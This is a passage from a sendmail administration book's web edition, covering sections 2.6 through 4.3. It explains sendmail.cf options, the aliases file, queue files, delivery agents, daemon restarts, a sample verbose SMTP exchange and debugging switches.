This shows that sendmail ran but couldn't find its configuration file. If your site is new to sendmail, you won't be able to run the examples to follow. But don't worry, we'll be creating a configuration file of our own soon enough.

Another problem that might happen on a machine running an old (pre-V8) version of sendmail is the following:

/etc/sendmail.cf: line 273: replacement $3 out of bounds
/etc/sendmail.cf: line 297: replacement $3 out of bounds

If this happens, you will still be able to run sendmail to follow along in early examples. Just bear in mind that you will be seeing these errors until we start designing our own configuration file.

Previous: 2.5 Build | sendmail | Next: 2.7 Things to Try
2.5 Build | Book Index | 2.7 Things to Try


[Chapter 2] 2.7 Things to Try

sendmailSearch this book
Previous: 2.6 Test It Chapter 2
Have a V8 		Next: 3. The Roles of sendmail

2.7 Things to Try

  • If you have C language programming experience, look at the conf.c file. Observe how sendmail initializes its default values and how it accommodates many operating systems. Read the code in the checkcompat() function.

  • Look in the contrib directory. Determine whether any of the contributed software or documents are of value to you or your site.

  • For a historical understanding of the philosophy behind sendmail, read the document doc/usenix/usenix.ps. If you have access to the Internet, get and read the RFCs mentioned in the Preface.

Previous: 2.6 Test It | sendmail | Next: 3. The Roles of sendmail
2.6 Test It | Book Index | 3. The Roles of sendmail


[Chapter 3] The Roles of sendmail

sendmailSearch this book
Previous: 2.7 Things to Try Chapter 3 Next: 3.2 Role in Local Delivery

3. The Roles of sendmail

Contents:
Role in the Filesystem
Role in Local Delivery
Role in Network Transport
Role as a Daemon
Things to Try

The sendmail program plays a variety of roles, all critical to the proper flow of electronic mail. It listens to the network for incoming mail, transports mail messages to other machines, and hands local mail to a local program for local delivery. It can append mail to files and can pipe mail through other programs. It can queue mail for later delivery and understands the aliasing of one recipient name to another.

3.1 Role in the Filesystem

The sendmail program's role (position) in the local file system hierarchy can be viewed as an inverted tree (see Figure 3.1).

Figure 3.1: The sendmail.cf file leads to everything else

When sendmail is run, it first reads the /etc/sendmail.cf configuration file. Among the many items contained in that file are the locations of all the other files and directories that sendmail needs.

Files and directories listed in sendmail.cf are usually specified as full pathnames for security (such as /var/spool/mqueue rather than mqueue). As the first step in our tour of those files, run the following command to gather a list of them: [1]

[1] If you are not currently running V8.7 or above sendmail, you will have to grep for "/[^0-9].*/" instead. If you're not running sendmail at all, you won't be able to do this, so for now just read along instead.

% grep =/ /etc/sendmail.cf

The output produced by the grep(1) command may look something like the following: [2]

[2] Lines that begin with F or K may also appear. If so, ignore them for now.

O AliasFile=/etc/aliases
#O ErrorHeader=/etc/sendmail.oE
O HelpFile=/usr/lib/sendmail.hf
O QueueDirectory=/var/spool/mqueue
O StatusFile=/etc/sendmail.st
#O UserDatabaseSpec=/etc/userdb
#O ServiceSwitchFile=/etc/service.switch
#O HostsFile=/etc/hosts
#O SafeFileEnvironment=/arch
Mlocal,         P=/bin/mail, F=lsDFMAw5:/|@rmn, S=10/30, R=20/40,
Mprog,          P=/bin/sh, F=lsDFMoeu, S=10/30, R=20/40, D=$z:/,

Notice that some lines begin with an O character, some with an M, and others with a #. The O marks a line as a configuration option. The word following the O is the name of the option. The options in the above output show the location of the files that sendmail uses. AliasFile, for example, defines the location of the aliases(5) database. The lines that begin with M define delivery agents. The lines that begin with a # are comments.

First we will examine the files in the O option lines. Then we will discuss local delivery and the files in the M delivery agent lines.

3.1.1 The Aliases File

Aliasing is the process of converting one recipient name into another. One use is to convert a generic name (such as root) into a real username. Another is to convert one name into a list of many names (for mailing lists).

Take a few moments to examine your aliases file. Its location is determined by the AliasFile option in your sendmail.cf file. For example,

O AliasFile=/etc/aliases

Compare what you find in your aliases file to the brief example of an aliases file listed below:

# Mandatory aliases.
postmaster: root
MAILER-DAEMON: postmaster

# The five forms of aliases
John_Adams:    adamj
xpres:         ford,carter,bush
oldlist:       :include: /usr/local/oldguys
nobody:        /dev/null
ftphelp:       |/usr/local/bin/sendhelp

Your aliases file is probably far more complex, but even so, note that the example shows all the possible forms of aliases.

Lines that begin with # are comments. Empty lines are ignored. As the first comment indicates, there are two aliases that are mandatory in every aliases file. Both are the simplest form of alias: a name and what to change that name into. The name on the left of the : is changed into the name on the right. Names are not case-sensitive. For example, POSTMASTER, Postmaster, and postmaster are all the same. [3]

[3] According to RFC822, all usernames are case-sensitive except postmaster. But sendmail, when processing its aliases file, views all names as case-insensitive.

For every envelope that lists a local user as a recipient, sendmail looks up that recipient's name in the aliases file. (A local user is any address that would normally be delivered on the local machine. That is, postmaster is local, whereas postmaster@remote may not be.) When sendmail matches the recipient to one of the names on the left of the aliases file, it replaces that recipient name with the text to the right of the : character. For example, the recipient postmaster becomes the recipient root.

After a name is substituted, the new name is then looked up, and the process is repeated until no more matches are found. The name MAILER-DAEMON is first changed to postmaster. Then postmaster is looked up again and changed to root. Since there is no entry for root in the aliases file, the mail message is delivered into root's mailbox.

Every aliases file must have an alias for postmaster that will expand to the name of a real user. [4] Mail about mail problems is always sent to postmaster both by mail-related programs and by users who are having trouble sending mail.

[4] The name postmaster is required by RFC822 and RFC1648, so resist the temptation to redefine it as postperson or sysop.

When mail is bounced (returned because it could not be delivered), it is always sent from MAILER-DAEMON. That alias is needed because users may reply to bounced mail. Without it, replies to bounced mail would themselves bounce.

The five types of lines in an aliases file areas are as follows:

John_Adams:    adamj
xpres:         ford,carter,reagan,bush
oldlist:       :include: /usr/local/oldguys
nobody:        /dev/null
ftphelp:       |/usr/local/bin/sendhelp

You have already seen the first (it was the form used to convert postmaster to root). In the above example, mail sent to John_Adams is delivered to the user whose login name is adamj.

The xpres: line shows how one name can be expanded into a list of many names. Each of those new names becomes a new name for further alias processing. If a name can't be further expanded, a copy of the mail message is delivered to it.

The oldlist: line shows how a mailing list can be read from a file. The expression :include: tells sendmail to read a specific file and to use the names in that file as the list of recipients.

The nobody: line shows how a name can be aliased to a file. The mail message is appended to the file. The /dev/null file listed here is a special one. That file is an empty hole into which the mail message simply vanishes.

The ftphelp: line shows how a name can be replaced by the name of a program. The | character causes sendmail to pipe the mail message through the program whose full pathname follows (in this case, we specified the full pathname as /usr/local/bin/sendhelp).

The aliases file can become very complex. It can be used to solve many special mail problems. The aliases file is covered in greater detail in Chapter 24, Aliases.

3.1.2 The Queue Directory

A mail message can be temporarily undeliverable for a wide variety of reasons, such as when a remote machine is down or has a temporary disk problem. To ensure that such messages are eventually delivered, sendmail stores them in its queue directory until they can be delivered successfully.

The QueueDirectory option in your configuration file tells sendmail where to find its queue directory:

O QueueDirectory=/var/spool/mqueue

The location of that directory must be a full pathname. Its exact location varies from vendor to vendor, but you can always find it by looking for the QueueDirectory option in your configuration file.

If you have permission, take a look at the queue directory. It may be empty if there is no mail waiting to be sent. If it is not empty, it will contain files like these:

dfQAA07038 dfMAA08000 qfQAA07038 qfMAA08000

When a mail message is queued, it is split into two parts, each part being saved in a separate file. The header information is saved in a file whose name begins with the characters qf. The body of the mail message is saved in a file whose name begins with the characters df.

The example above shows two queued mail messages. One is identified by the unique string QAA07038 and the other by MAA08000.

The internals of the queue files and the processing of those files are covered in Chapter 23, The Queue.

Previous: 2.7 Things to Try | sendmail | Next: 3.2 Role in Local Delivery
2.7 Things to Try | Book Index | 3.2 Role in Local Delivery


[Chapter 3] 3.2 Role in Local Delivery

sendmailSearch this book
Previous: 3.1 Role in the Filesystem Chapter 3
The Roles of sendmail 		Next: 3.3 Role in Network Transport

3.2 Role in Local Delivery

Another role of the sendmail program is to deliver mail messages to local users. A local user has a mailbox on the local file system. Delivering local mail is done by appending a message to the user's mailbox, by feeding the mail message to a program, or by appending the message to a file other than the user's mailbox.

In general, sendmail does not put mail messages directly into files. You saw the exception in the aliases file, in which you could specifically tell sendmail to append mail to a file. This is the exception, not the rule. Usually, sendmail calls other programs to perform delivery. Those other programs are called delivery agents.

In your sendmail.cf file you found two lines that defined local delivery agents, the ones that sendmail used to deliver mail to the local file system:

Mlocal,    P=/bin/mail, F=lsDFMAw5:/|@rmn, S=10, R=20/40,
Mprog,     P=/bin/sh, F=lsDFMeu, S=10, R=20/40, D=$z:/,

The /bin/mail program is used to append mail to the user's mailbox. The /bin/sh program is used to run other programs that handle delivery.

3.2.1 Delivery to a Mailbox

The configuration file line that begins with Mlocal defines how mail is appended to a user's mailbox file. That program is usually /bin/mail but can easily be a program such as deliver(1) or mail.local(8).

Under UNIX a user's mailbox is a single file that contains a series of mail messages. The usual UNIX convention (but not the only possibility) is that each message in a mailbox begins with the five characters "From&nbsp;" (the fifth is a blank space) and ends with a blank line.

The sendmail program neither knows nor cares what a user's mailbox looks like. All it cares about is the name of the program that it must run to add mail messages to that mailbox. In the example that program is /bin/mail. The M configuration lines that define delivery agents are introduced in Chapter 6, The Mail Hub and Delivery Agents, and covered in detail in Chapter 30, Delivery Agents.

3.2.2 Delivery Through a Program

Mail addresses that begin with a | character are the names of programs to run. You saw one such address in the example aliases file:

ftphelp:       "|/usr/local/bin/sendhelp"

Here, mail sent to the address ftphelp is transformed via an alias into the new address |/usr/local/bin/sendhelp. The | character at the start of this new address tells sendmail that this is a program to run rather than a file to append to. The intention here is that the program will receive the mail and do something useful with it.

The sendmail program doesn't run mail delivery programs directly. Instead, it runs a shell and tells that shell to run the program. The name of the shell is listed in the configuration file in a line [5] that begins with Mprog:

[5] In actuality, delivery agent definitions often span multiple lines. You'll see this in Chapter 6.

Mprog,     P=/bin/sh, F=lsDFMeu, S=10, R=20/40, D=$z:/,

In this example the shell is the /bin/sh(1). Other programs can appear in this line such as /bin/ksh(1), the Korn Shell, or smrsh(1), the sendmail restricted shell that is supplied with the source distribution.

Previous: 3.1 Role in the Filesystem | sendmail | Next: 3.3 Role in Network Transport
3.1 Role in the Filesystem | Book Index | 3.3 Role in Network Transport


[Chapter 3] 3.3 Role in Network Transport

sendmailSearch this book
Previous: 3.2 Role in Local Delivery Chapter 3
The Roles of sendmail 		Next: 3.4 Role as a Daemon

3.3 Role in Network Transport

Another role of sendmail is that of transporting mail to other machines. A message is transported when sendmail determines that the recipient is not local. The following lines from a typical configuration file define delivery agents for transporting mail to other machines:

Msmtp,          P=[IPC], F=mDFMuX, S=11/31, R=21, E=\r\n, L=990,
Muucp,          P=/usr/bin/uux, F=DFMhuUd, S=12, R=22/42, M=10000000,

The actual lines in your file may differ. The name smtp in the above example may appear in your file as ether or ddn or something else. The name uucp may appear as suucp or uucp-dom. There may be more such lines than we've shown here. The important point for now is that some delivery agents deal with local delivery, while others deal with delivery over a network.

3.3.1 TCP/IP

The sendmail program has the internal ability to transport mail over only one kind of network, one that uses TCP/IP; the following line instructs sendmail to do this:

Msmtp,          P=[IPC], F=mDFMuX, S=11/31, R=21, E=\r\n, L=990,

The [IPC] may appear as [TCP]. The two are equivalent.

When sendmail transports mail on a TCP/IP network, it first sends the envelope-sender hostname to the other site. If the other site accepts the sender's hostname as legal, the local sendmail then sends the envelope-recipient list. The other site accepts or rejects each recipient one by one. If any recipients are accepted, the local sendmail sends the message (header and body together).

3.3.2 UUCP

The line in the configuration file that tells sendmail how to transport over UUCP looks like this:

Muucp,          P=/usr/bin/uux, F=DFMhuUd, S=12, R=22/42, M=10000000,

This line tells sendmail to send UUCP network mail by running the /bin/uux (UNIX to UNIX eXecute) program.

3.3.3 Other Protocols

There are many other kinds of network protocols that sendmail can use to transport email. Some of them may have shown up when you ran grep earlier. Other common possibilities might look like one of these:

Mfax,    P=/usr/local/lib/fax/mailfax, F=DFMhu, S=14, R=24, M=100000,
Mmail11, P=/usr/etc/mail11, F=nsFx, S=15, R=25, A=mail11 $g $x $h $u
Mmac,  P=/usr/bin/macmail, F=CDFMmpsu, R=16, S=16, A=macmail -t $u

The Mfax line defines one of the many possible ways to send a FAX using sendmail. FAX transports images of documents over telephone lines. In the configuration line above, the /usr/lib/fax/mailfax program is run, and a mail message is fed to it for conversion to and transmission as a FAX image.

The Mmail11 line defines a way of using the mail11(1) program to transport email over a DECnet network, used mostly by Digital Equipment Corporation (DEC) machines.

The Mmac line defines a way to transport mail to Macintosh machines that are connected together on an AppleTalk network.

In all of these examples, note that sendmail sends email over other networks by running programs that are tailored specifically for that use. Remember that the only network that sendmail can use directly is a TCP/IP-based network. [6]

[6] Actually, we're fudging for simplicity. V8 sendmail can also send messages over an ISO network.

Previous: 3.2 Role in Local Delivery | sendmail | Next: 3.4 Role as a Daemon
3.2 Role in Local Delivery | Book Index | 3.4 Role as a Daemon


[Chapter 3] 3.4 Role as a Daemon

sendmailSearch this book
Previous: 3.3 Role in Network Transport Chapter 3
The Roles of sendmail 		Next: 3.5 Things to Try

3.4 Role as a Daemon

Just as sendmail can transport mail messages over a TCP/IP-based network, it can also receive mail that is sent to it over the network. To do this, it must be run in daemon mode. A daemon is a program that runs in the background independent of terminal control.

As a daemon, sendmail is run once, usually when your machine is booted. Whenever an email message is sent to your machine, the sending machine talks to the sendmail daemon that is listening on your machine.

To see how your system runs sendmail in daemon mode, run one of the following commands:

% grep sendmail /etc/rc*           <-  BSD-based systems
% grep sendmail /etc/init.d/*      <-  SysV-based systems
% grep sendmail /etc/*rc           <-  HP-UX systems (prior to 10.0)

One typical example of what you will find is

/etc/rc.local:if [ -f /usr/lib/sendmail -a -f /etc/sendmail.cf ]; then
/etc/rc.local:   /usr/lib/sendmail -bd -q1h; echo -n ' sendmail'

The second line above shows that sendmail is run at boot time with a command line of

/usr/lib/sendmail -bd -q1h

The -bd command-line switch tells sendmail to run in daemon mode. The -q1h command-line switch tells sendmail to wake up once per hour and process the queue. Command-line switches are introduced in Chapter 5, The sendmail.cf File, and covered in detail in Chapter 36, The Command Line.

Previous: 3.3 Role in Network Transport | sendmail | Next: 3.5 Things to Try
3.3 Role in Network Transport | Book Index | 3.5 Things to Try


[Chapter 3] 3.5 Things to Try

sendmailSearch this book
Previous: 3.4 Role as a Daemon Chapter 3
The Roles of sendmail 		Next: 4. How to Run sendmail

3.5 Things to Try

  • When your machine boots, it executes the commands in one or more Bourne shell scripts. Examine the script that runs the sendmail program in daemon mode. Write a small Bourne shell script that checks for the existence of the echo(1) program and then executes that program. Model it around the way sendmail is run.

  • For each program that is mentioned in your configuration file's M lines (like /bin/mail and /bin/uux), read the appropriate online manual page. Examine the possible command-line arguments to determine how envelope information is passed. Compare what you discover to the A= part of each corresponding M line.

  • Locate all the files mentioned in O lines in your configuration file. For any that exist, what kind of file is it: data or text? If it is text, read it. What purpose do you suppose it has?

Previous: 3.4 Role as a Daemon | sendmail | Next: 4. How to Run sendmail
3.4 Role as a Daemon | Book Index | 4. How to Run sendmail


[Chapter 4] How to Run sendmail

sendmailSearch this book
Previous: 3.5 Things to Try Chapter 4 Next: 4.2 Verbose (-v)

4. How to Run sendmail

Contents:
Become a Mode (-b)
Verbose (-v)
Debugging (-d)
Things to Try

One way to run sendmail is to provide it with the name of a recipient as the only command-line argument. For example, the following sends a mail message to george: [1]

[1] For now, you can do this only with the system-supplied sendmail. It requires a configuration file that we have not yet written for our freshly compiled version.

% /usr/lib/sendmail george

Multiple recipients can also be given. For example, the following sends a mail message to george, truman, and teddy:

% /usr/lib/sendmail george,truman,teddy

The sendmail program accepts two different kinds of command-line arguments. Arguments that do not begin with a - character (such as george) are assumed to be recipients. Arguments that do begin with a - character are taken as switches that determine the behavior of sendmail. In this chapter we will cover only a few of these switch-style command-line arguments (see Table 4.1). The complete list of command-line switches, along with an explanation of each, is presented in the reference part of this book (Chapter 36, The Command Line).

Table 4.1: Some Command-Line Switches
Flag | Description
-b | Set operating mode
-v | Run in verbose mode
-d | Run in debugging mode

4.1 Become a Mode (-b)

The sendmail program can function in a number of different ways depending on which form of -b argument you use. One form, for example, causes sendmail to display the contents of the queue. Another causes sendmail to rebuild the aliases database. A complete list of the -b command-line mode-setting switches is shown in Table 4.2. We will cover only a few in this chapter and will present the others as this tutorial proceeds.

Table 4.2: Forms of the -b Command-Line Switch
Form | Description
-ba | Use ARPAnet (Grey Book) protocols
-bD | Run as a daemon, but don't fork
-bd | Run as a daemon
-bH | Purge persistent host status
-bh | Print persistent host status
-bi | Rebuild alias database
-bm | Be a mail sender
-bp | Print the queue
-bs | Run SMTP on standard input
-bt | Test mode: resolve addresses only
-bv | Verify: don't collect or deliver
-bz | Freeze the configuration file (obsolete)

The effects of some of the options in Table 4.2 can also be achieved by running the sendmail executable using different names. Those names and a description of their results are shown in Table 4.3. Each name can be a hard link with, a symbolic link to, or a copy of sendmail.

Table 4.3: Other Names for sendmail
Name | Form | Description
hoststat | -bh | Print persistent host status
mailq | -bp | Display the queue
newaliases | -bi | Initialize alias database
purgestat | -bH | Purge persistent host status
smtpd | -bd | Run as a daemon

4.1.1 Daemon Mode (-bd)

The sendmail program can run as a daemon in the background, listening for incoming mail from other machines. The sendmail program reads its configuration file only once, when it first starts as a daemon. It then continues to run forever, never reading the configuration file again. As a consequence, it will never see any changes to that configuration file.

When you change something in the sendmail.cf configuration file, you always need to kill and restart the sendmail daemon. But before you can kill the daemon, you need to know how to correctly restart it. This information is in the /etc/sendmail.pid file or one of your system rc files.

On a Berkeley UNIX-based system, for example, the daemon is usually started like this:

/usr/lib/sendmail -bd -q1h

The -bd command-line switch specifies daemon mode. The -q switch tells sendmail how often to look in its queue to process pending mail. The -q1h switch says to process the queue at one (1) hour (h) intervals.

The actual command to start the sendmail daemon on your system may be different from what we've shown. If you manage many different brands of systems, you'll need to know how to start the daemon on all of them.

4.1.1.1 Kill and restart, beginning with V8.7

Killing and restarting the sendmail daemon became easier beginning with V8.7. A single command [2] will kill and restart the daemon:

[2] Provided that the daemon was originally started with a full pathname.

% kill -HUP `head -1 /etc/sendmail.pid`

This single command has the same effect as the two commands shown for V8.6 below.

4.1.1.2 Kill and restart, with V8.6

Before you can start the sendmail daemon, you need to make sure there is not a daemon running already. Beginning with V8.6, the pid of the currently running daemon is found in the first line of the /etc/sendmail.pid file. The processes of killing the daemon looks like this:

% kill `head -1 /etc/sendmail.pid`

After killing the currently running daemon, you can start a new daemon with the following simple command:

% `tail -1 /etc/sendmail.pid`

4.1.1.3 Kill and restart, old versions

Under old versions of sendmail you need to use the ps(1) program to find the pid of the daemon. How you run ps is different on BSD UNIX and System V UNIX. For BSD UNIX the command that you use and the output that it produces resemble the following:

% ps ax | grep sendmail | grep -v grep
   99    ?  IW    0:07 /usr/lib/sendmail -bd -q1h
% kill 99

Here the leftmost number printed by ps (the 99) was used to kill the daemon.

For System V-based systems you use different arguments for the ps command, and its output differs:

% ps -ae | grep sendmail
   99 ?         0:01 sendmail
% kill 99

Under old versions of sendmail you must look in your system rc files for the way to restart sendmail. We showed how to find this information in Chapter 3, The Roles of sendmail (see Section 3.4, "Role as a Daemon").

4.1.1.4 If you forget to kill the daemon

If you forget to kill the daemon before starting a new one, you may see a stream of messages similar to the following, one printed every 5 seconds (probably to your console window):

getrequests: cannot bind: Address already in use
getrequests: cannot bind: Address already in use
getrequests: cannot bind: Address already in use
getrequests: cannot bind: Address already in use
getrequests: cannot bind: Address already in use
getrequests: cannot bind: Address already in use
getrequests: cannot bind: Address already in use
getrequests: cannot bind: Address already in use
getrequests: cannot bind: Address already in use
getrequests: cannot bind: Address already in use
getrequests: cannot bind: Address already in use
opendaemonsocket: server SMTP socket wedged: exiting

This shows that the attempt to run a second daemon failed. [3]

[3] Note that some multicast-capable versions of UNIX allow multiple sendmail daemons to run simultaneously. This is a known bug in the SO_REUSEADDR ioctl(2) call for TCP under multicasting. Contact your vendor for a fix.

4.1.2 Show Queue Mode (-bp)

The sendmail program can also display the contents of its queue directory. It can do this in two ways: by running as a program named mailq or by being run as sendmail with the -bp command-line switch. Whichever way you run it, the contents of the queue directory are printed. If the queue is empty, sendmail prints the following:

Mail queue is empty

If, on the other hand, there is mail waiting in the queue, the output is far more verbose, possibly containing lines similar to these:

.ps 8
                Mail Queue (1 requests)
-Q-ID-- -Size- --Q-Time--- ------Sender/Recipient------
GAA29775*     702 Thu Mar 12 16:51 <you@here.us.edu>
            Deferred: Host fbi.dc.gov is down
                                  <george@fbi.dc.gov>

Here, the output produced with the -bp switch shows that there is only one mail message in the queue. If there were more, each entry would look pretty much the same as this. Each message results in at least two lines of output.

The first line shows details about the message and the sender. The GAA29775 identifies this message in the queue. The * shows that this message is locked and currently being processed. The 702 is the size of the message body in bytes (the size of the df file as mentioned in Section 3.1.2, "The Queue Directory"). The date shows when this message was originally queued. The address shown is the name of the sender.

A second line may appear giving a reason for failure (if there was one). A message may be queued intentionally or because it couldn't be delivered.

The third and possibly subsequent lines show the addresses of the recipients.

The output produced by the -bp switch is more fully covered in Chapter 23, The Queue.

4.1.3 Rebuild Aliases Mode (-bi)

Because sendmail may have to search through thousands of names in the aliases file, a version of the file is stored in a separate dbm(3) or db(3) database format file. The use of a database significantly improves lookup speed.

Although sendmail can automatically update the database whenever the aliases file is changed, there will be times when you will want to rebuild it yourself. You do this either by running sendmail using the command newaliases or with the -bi command-line switch. The following two commands do the same thing:

% newaliases
% /usr/lib/sendmail -bi

There will be a delay while sendmail rebuilds the aliases database; then a summary of what it did is printed:

/etc/aliases: 859 aliases, longest 615 bytes, 28096 bytes total

This line shows that the database was successfully rebuilt. Beginning with V8.6 sendmail, multiple alias files became possible, so each line (and there might be many) begins with the name of an alias file. The information then displayed is the number of aliases processed, the size of the biggest entry to the right of the : in the aliases file, and the total number of bytes entered into the database. Any mistakes in an alias file will also be printed here.

The aliases file and how to manipulate it are covered in Chapter 24, Aliases.

4.1.4 Verify Mode (-bv)

A handy tool for checking aliases is the -bv command-line switch. It causes sendmail to recursively look up an alias and report the ultimate real name that it found.

To illustrate, consider the following aliases file:

animals:      farmanimals,wildanimals
bill-eats:    redmeat
birds:        farmbirds,wildbirds
bob-eats:     seafood,whitemeat
farmanimals:  pig,cow
farmbirds:    chicken,turkey
fish:         cod,tuna
redmeat:      animals
seafood:      fish,shellfish
shellfish:    crab,lobster
ted-eats:     bob-eats,bill-eats
whitemeat:    birds
wildanimals:  deer,boar
wildbirds:    quail

Although you can figure out what the name ted-eats ultimately expands to, it is far easier to have sendmail do it for you. By using sendmail, you have the added advantage of being assured accuracy, which is especially important in large and complex aliases files.

In addition to expanding aliases, the -bv switch performs another important function. It verifies whether or not the expanded aliases are in fact deliverable. Consider the following one-line aliases file:

root:       fred,larry

Assume that the user fred is the system administrator and has an account on the local machine. The user larry, however, has left, and his account has been removed. You can run sendmail with the -bv switch to find out whether both names are valid:

% /usr/lib/sendmail -bv root

This tells sendmail to verify the name root from the aliases file. Since larry (one of root's aliases) doesn't exist, the output produced looks like this:

larry... User unknown
fred... deliverable: mailer local, user fred

Previous: 3.5 Things to Try | sendmail | Next: 4.2 Verbose (-v)
3.5 Things to Try | Book Index | 4.2 Verbose (-v)


[Chapter 4] 4.2 Verbose (-v)

sendmailSearch this book
Previous: 4.1 Become a Mode (-b) Chapter 4
How to Run sendmail 		Next: 4.3 Debugging (-d)

4.2 Verbose (-v)

The -v command-line switch tells sendmail to run in verbose mode. In that mode, sendmail prints a blow-by-blow [4] description of all the steps it takes in delivering a mail message. To watch sendmail run in verbose mode, send mail to yourself as you did in Section 1.4, "Run sendmail by Hand", but this time add a -v switch:

[4] Verbose mode is actually far more powerful than we've shown here.

% /usr/lib/sendmail -v you < sendstuff

The output produced shows that sendmail delivers your mail locally:

you... Connecting to local...
you... Sent

When sendmail forwards mail to another machine over a TCP/IP network, it communicates with that other machine using a protocol called SMTP (Simple Mail Transfer Protocol). To see what SMTP looks like, run sendmail again, but this time, instead of using you as the recipient, give sendmail your address on another machine.

% /usr/lib/sendmail -v you@remote.domain < sendstuff

The output produced by this command line will look similar to the following:

you@remote.domain... Connecting to remote.domain via smtp...
220-remote.Domain Sendmail 8.6.12/8.5 ready at Fri, 13 Dec 1996 06:36:12 -0800
220 ESMTP spoken here
>>> EHLO here.us.edu
250-remote.domain Hello here.us.edu, pleased to meet you
250-EXPN
250-SIZE
250 HELP
>>> MAIL From:<you@here.us.edu>
250 <you@here.us.edu>... Sender ok
>>> RCPT To:<you@remote.domain>
250 <you@remote.domain>... Recipient ok
>>> DATA
354 Enter mail, end with "." on a line by itself
>>> .
250 GAA20115 Message accepted for delivery
you@remote.domain... Sent (GAA20115 Message accepted for delivery)
Closing connection to remote.domain
>>> QUIT
221 remote.domain closing connection

The lines that begin with numbers and the lines that begin with >>> characters constitute a record of the SMTP conversation. We'll discuss those shortly. The other lines are sendmail on your local machine telling you what it is trying to do and what it has successfully done:

you@remote.domain... Connecting to remote.domain via smtp...
...
you@remote.domain... Sent (GAA20115 Message accepted for delivery)
Closing connection to remote.domain

The first line shows to whom the mail is addressed and that the machine remote.domain is on the network. The last two lines show that the mail message was successfully sent.

In the SMTP conversation your local machine displays what it is saying to the remote host by preceding each line with >>> characters. The messages (replies) from the remote machine are displayed with leading numbers. We now explain that conversation.

220-remote.Domain Sendmail 8.6.12/8.5 ready at Fri, 13 Dec 1996 06:36:12 -0800
220 ESMTP spoken here

Once your sendmail has connected to the remote machine, your sendmail waits for the other machine to initiate the conversation. The other machine says that it is ready by sending the number 220, a dash (to say that it has more to say), and its fully qualified hostname (the only required information). If the other machine is running sendmail, it also says the program name sendmail and the version. It also states that it is ready and gives its idea of the local date and time.

The second line also starts with a 220, but that 220 is not followed by a dash. A dash means that more lines will follow, and the absence of a dash means that this is the last line. The "ESMTP spoken here" means that the remote site understands the Extended SMTP protocol. If the other machine were running V8.7 or later sendmail, the ESMTP would precede Sendmail in the first line, and there would be no second line.

If sendmail waits too long for a connection without receiving this initial message, it prints "Connection timed out" and queues the mail message for later delivery.

Next the local sendmail sends (the >>>) the word EHLO, for Extended Hello, and its own hostname:

>>> EHLO here.us.edu
250-remote.domain Hello here.us.edu, pleased to meet you
250-EXPN
250-SIZE
250 HELP

The E of the EHLO says that the local sendmail speaks ESMTP too. The remote machine replies with 250 and the acknowledgment that your hostname is acceptable, then lists the ESMTP services that it supports.

One problem that could occur is your machine sending a short hostname ("here") in the EHLO message. This would cause an error because the remote machine wouldn't find here in its domain remote.domain. This is one reason why it is important for your sendmail to always use your machine's fully qualified hostname. A fully qualified name is one that begins with the host's name, followed by a dot, then the entire DNS domain.

If all has gone well so far, the local machine sends the name of the sender of the mail message:

>>> MAIL From:<you@here.us.edu>
250 <you@here.us.edu>... Sender ok

Here, that sender address was accepted by the remote machine.

Next the local machine sends the name of the recipient:

>>> RCPT To:<you@remote.domain>
250 <you@remote.domain>... Recipient ok

If the user you were not known on the remote machine, it would reply with an error of "User unknown." Here, the recipient is ok. Note that ok does not necessarily mean that the address is good. It can still be bounced later. The ok means only that the address is acceptable.

After the envelope information has been sent, your sendmail attempts to send the mail message (header and body combined).

>>> DATA
354 Enter mail, end with "." on a line by itself
>>> .

DATA tells the remote host to "get ready." The remote machine says to send the message, and the local machine does so. (The message is not printed as it is sent.) A dot on a line by itself is used to mark the end of a mail message. This is a convention of the SMTP protocol. Because mail messages may contain lines that begin with dots as a valid part of the message, sendmail doubles any dots at the beginning of lines before they are sent. [5] For example, consider when the following text is sent through the mail:

[5] This is called the "hidden dot algorithm" and is documented in RFC821.

My results matched yours at first:
126.71
126.72
...
126.79
But then the numbers suddenly jumped high, looking like
noise saturated the line.

To prevent any of these lines from being wrongly interpreted as the end of the mail message, sendmail inserts an extra dot at the beginning of any line that begins with a dot, so the actual text transferred is

My results matched yours at first:
126.71
126.72
....                                                         <-  note extra dot
126.79
But then the numbers suddenly jumped high, looking like
noise saturated the line.

The SMTP-server program running at the receiving end (for example, another sendmail) strips those extra dots when it receives the message.

The remote sendmail shows the queue identification number that it assigned to the mail it accepted:

250 GAA20115 Message accepted for delivery
>>> QUIT
221 remote.domain closing connection

The local sendmail sends QUIT to say it is all done. The remote machine acknowledges by closing the connection.

Note that the -v (verbose) switch for sendmail is most useful with mail sent to remote machines. It allows you to watch SMTP conversations as they occur and can help in tracking down why a mail message fails to reach its destination.

Previous: 4.1 Become a Mode (-b) | sendmail | Next: 4.3 Debugging (-d)
4.1 Become a Mode (-b) | Book Index | 4.3 Debugging (-d)


[Chapter 4] 4.3 Debugging (-d)

sendmailSearch this book
Previous: 4.2 Verbose (-v) Chapter 4
How to Run sendmail 		Next: 4.4 Things to Try

4.3 Debugging (-d)

The sendmail program can also produce debugging output. The sendmail program is placed in debugging mode by using the -d command-line switch. That switch produces far more information than -v. To see for yourself, enter the following command line, but substitute your own login name in place of the you:

% /usr/lib/sendmail -d you < /dev/null

This command line produces a great deal of output. We won't explain this output, because it is explained in Chapter 37, Debugging with -d. For now just remember that the sendmail program's debugging output can produce a great deal of information.

In addition to producing lots of debugging information, the -d switch can be modified to display specific debugging information. By adding a numeric argument to the -d switch, output can be limited to one specific aspect of the sendmail program's behavior.

Type in this command line, but change you to your own login name.

% /usr/lib/sendmail -d40 you < /dev/null

Here, the -d40 is the debugging switch with a category of 40. That category limits sendmail's program output to information about the queue. The following output shows you some information about how your mail message was queued. A detailed explanation of this output is covered in Section 37.5.138, -d40.1.

>>>>> queueing GAA14008 (new id) queueall=1 >>>>>
queueing 95688=you:
        mailer 4 (local), host `'
        user `you', ruser `<null>'
        next=0, alias 95460, uid 0, gid 0
        flags=6008<QPRIMARY,QPINGONFAILURE,QPINGONDELAY>
        owner=(none), home="/home/you", fullname="Your FullName"
        orcpt="(none)", statmta=(none), rstatus=(none)
<<<<< done queueing GAA14008 <<<<<

In addition to a category, a level may also be specified. The level adjusts the amount of output produced. A low level produces little output; a high level produces greater and more complex output. The string following the -d has the form

category.level

For example, enter the following command line:

% /usr/lib/sendmail -d0.1 -bp

The -d0 instructs sendmail to produce general debugging information. The level .1 limits sendmail to its minimal output. That level could have been omitted, because a level .1 is the default. Recall that -bp causes sendmail to print the contents of its queue. The output produced looks something like the following:

Version 8.8.4
 Compiled with: LOG NAMED_BIND NDBM NETINET NETUNIX NIS SCANF
                XDEBUG

============ SYSTEM IDENTITY (after readcf) ============
      (short domain name) $w = here
  (canonical domain name) $j = here.us.edu
